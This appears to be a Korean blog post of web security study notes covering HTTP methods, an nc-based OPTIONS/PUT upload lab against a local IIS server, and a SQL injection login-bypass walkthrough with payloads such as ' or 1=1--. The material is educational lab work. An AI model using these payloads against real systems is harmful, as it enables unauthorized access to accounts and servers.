2016. 1. 25. 09:17 :: 웹 보안

1. 웹

가. 개론

1) 네트워크나 시스템은 단일 대상

2) 웹 어플리케이션

- 웹은 혼자서 동작하는 경우가 없다.

- 다양하고 복합적인 자원이 같이 동작한다.

- 확장성이 용이하다.

3) 웹은 유행을 탄다.

- 웹을 잘한다 : 웹을 구성하고 있는 자원들을 잘 이해한다고 볼 수 있다.

 

나. 웹 프로세스 이해

1) Client Side

가) 종류 : html, javascript, applet, swf(플래시), xml, cookie 등

나) 브라우저 측에서 해석해준다.

다) 서버측으로 넘어가는것은 입력값 검증을 해주어야한다.(조작이 가능)

검증이 되지 않는다면 방어하지 못한다.

라) 클라이언트에 직접 영향을 준다. (브라우저에서 해석되어 보는것만으로도 악성코드, 스크립트 등이 동작)

2) Server Side

가) 웹 어플리케이션 : 웹서버와 DB 사이에서 입력되는 데이터값을 DB와 연동시키기 위해 사용된다.

- WAS : 서버 등을 관리하는 별도의 페이지, 제어 페이지가 따로 있는 환경

 

다. HTTP 프로토콜

1)개론

- 웹 상에서 파일(텍스트, 이미지, 비디오 등 멀티미디어)을 주고 받는데 필요한 프로토콜로서 TCP/IP 와 관련된 하나의 응용 프로토콜

- TCP와 UDP를 사용, 80번포트를 사용한다.

- 클라이언트와 서버사이에 이루어지는 요청/응답(Requset/Response) 프로토콜

- HTTPS : 443번 포트 사용

가) Requset Method

- GET : URL에 해당하는 자료의 전송을 요청

- HEAD : GET 과 같은 요청이지만 자료에 대한 정보만 받는다. 요청받은 자료는 되돌려주지 않는다.

- POST : 서버가 처리할 수 있는 자료를 보낸다.(content-length 로 body에 공간을 확보하여 body에 자료를 담아서 보낸다.)

- PUT : 메시지에 포함되어 있는 데이터를 해당 URL에 자료를 저장한다.

- DELETE : 해당 URL 의 자료를 삭제한다.

- TRACE : 요구 메시지의 최종 수신처까지 루프백 검사용. 클라이언트가 보내는 요구 메시지가 거쳐가는 프록시나 게이트웨이의

    중간 경로 및 최종 수신 서버까지 이르는 경로 추적

- OPTIONS : 자원에 대한 요구/응답 관계에서 관련된 선택 사항에 대한 정보를 요청

- CONNECT : 프록시가 사용하는 요청 방식

- COPY : 실행 권한이 있을 법한 경로로 복사한다.

나) State Code

- 100번대 : 정보 / 정보교환

- 200번대 : 성공 / 데이터 전송이 성공적으로 이루어졌거나, 이해되었거나, 수락되었음

- 300번대 : 방향 바꿈(Redirection) / 자료의 위치가 바뀌었음

- 400번대 : 클라이언트 오류 / 클라이언트 측의 오류. 주소를 잘못 입력하였거나 요청이 잘못되었음

- 500번대 : 서버 오류 / 서버 측의 오류로 올바른 요청을 처리할 수 없음

 

2) HTTP 1.1 Method 의 공격 시나리오중 하나

- OPTIONS : 상대방이 사용하고 잇는 allow method 정보를 볼수 있다.

- PUT : 원격의 서버에 임의 내용을 저장 (악성코드등을 서버에 심을 수 있다.)

- COPY : 실행 권한이 있을 법한 경로로 복사를 해준다.

- 공격

가) 실습

# nc.exe 192.168.1.129 80

# OPTIONS / HTTP/1.1

# host:192.168.1.129

- foot printing(정보수집)

- allow 를 보면 굉장히 취약함을 알 수 있다.

 

# nc.exe 192.168.1.129 80

# PUT /chapter1/upload/test1.html HTTP/1.1

# host:192.168.1.129

# content-length:10

# HTTP!!!!        ->    업로드할 텍스트

- 위와 같이 입력하면 IIS 서버에 해당 "HTTP!!!" 텍스트가 올라가게된다.

 

 

3) HTTP Request 에 포함된 상세정보

가) 요청 URL

나) 사용자 웹 브라우저 종류

다) 요청 데이터 타입

라) 쿠키 : 인증 정보, 클라이언트에 임의의 값을 주어서 세션을 유지하는 것

마) 경유지 URL : 이전 접속 페이지의 주소, 페이지 조작등이 가능할때 불법적인 접근을 확인할때

바) 요청 도메인

 

2.. 난독화

가. 정의

1) 프로그램을 변화하는 방법의 일종으로 코드를 읽기 어렵게 만들어 역공학을 통한 공격을 막는 기술

 

3. 모의해킹과 취약점 점검의 차이

가. 취약점 점검 : check list 에 의존한다. check list 를 넘으면 불법

나. 모의해킹 : 시나리오가 들어가고 이미 취약한 부분으로 인하여 피해유무를 증명하는 것

 

4. 웹 취약점 리스트

가. CWE

1) 연구 관점에서 발생할 수 있는 취약점

2) 의사코드 : 개발시 참조하는 가이드 코드(줄리엣 코드 -> CWE에서 나옴)

나. CVE

1) 감지된 보안취약점을 정리해 둔 목록, 보안 취약점의 히스토리

2) POC 코드 : 취약점에 대한 코드 

3) CVE-YYYY-NNN : CVE-년도-순번

다. OWASP Top 10

1) CVE에서 웹에 관련된 목록들을 정리한 목록(CVE 사이트 근거)

2) 그 해년도 많이 발생된 웹 취약점(완벽하게 신회할 수는 없다. 참고사항)

 

5. SQL Injection

가. 전제조건 : 일반 클라이언트는 웹 서버에 웹 어플리케이션에서 정의한 패턴만 DB에 요청이 들어가야한다.

나. 공격자는 전제조건을 우회해서 공격

- URL에 ? 기준으로 뒤는 파라미처(변수 등) 이고 db로 넘어가는 값, 앞쪽은 url과 경로등을 지칭

다. form tag 분석 및 실습

1) 웹 페이지에서 마우스 우클릭 -> 소스보기에서 form 의 내용으로 기본적인 사항을 확인 할 수 있다. 

<form name='login_form' action='/member/login_ok.asp' method='post'>

- action : 해당 form에서 이벤트 발생시 action 으로 넘겨간다.

- method : 넘기는 방식을 명시한다.

- post : content-length 을 이용하여 body 부분에 공간을 확보하여 보내는 방식

- get : url 에 정보를 담아서 보내는 방식

- 이때 진짜로 post 방식으로만 되는지 확인해야 한다. get 방식으로 해도 되는지 확인

-> http://192.168.1.129/member/login_ok.asp?id=attacker0101&pwd=0101 이런식으로 url에 정보를 담아서 접속해본다.(get)

-> 웹 어플리케이션에서는 넘어온 값들을 DB로 넘길때 다음과 같은 형태로 변수를 받아서 확인한다.

select * from member where id='&attacker0101&' and pwd='&0101&';

 

<input type='text' name='id' style='width:100px' onkeypress='javascript:enter_login()'>

<input type='password' name='pwd' style='width:100px' onkeypress='javascript:enter_login()'>

- input 필드에서는 항상 name, value 값을 확인하여 변수명, 값 등을 확인할 수 있다.

 

2) http://192.168.1.129/member/login_ok.asp?id=attacker0101&pwd=0101 get 방식으로 입력하여도 접속됨을 확인할 수 있다. 

 

3) ID / PW 에 특수문자를 넣는경우

- ID : ' or 1=1--

- PW : 아무거나

=> http://192.168.1.129/member/login_ok.asp?id=' or 1=1--&pwd=아무거나
=> select * from member where id='&' or 1=1--&' and pwd='&아무거나&';

가) sql 구문을 보게되면 " select * from member where id='&' " 여기서 sql 문장이 완성이 된다.

나) 그 뒤에는 or 조건으로 1=1 이 true 이기 때문에 전체 sql 문이 true 가 된다.

다) 그 뒤 -- 는 세미콜론(;) 을 의미한다.(데이터베이스 종류에 따라 다르다.) 그래서 sql 이 종료가 된다.

라) 세미콜론에서 전체 sql 구문이 끝나므로 그 뒤에 값을 보지도 않게된다.

마) 결과는 DB 로 넘어가는 sql 구문은 true 가 되기 때문에 패스워드에 아무값을 넣어도 로그인이 된다.

 

- ID : ' or '1'='1
- PW : ' or '1'='1

=> http://192.168.1.129/member/login_ok.asp?id=' or '1'='1&pwd=' or '1'='1
=> select * from member where id='&' or '1'='1&' and pwd='&' or '1'='1&';

가) 이번 경우에는 sql 구문을 찾아보면서 해석하면 ID / PW 필드 모두 true 값으로 되기 때문에 로그인이 된다.

 

4) 공격의 원리

- 입력한 값을 검증하지 않기 때문에 위와 같은 공격이 가능하다.

- 합법한 내용만 넘겨야하는데 개발자가 그 검증 부분을 넣지 않았기 때문이다.

 

 

 

posted by Red_Seek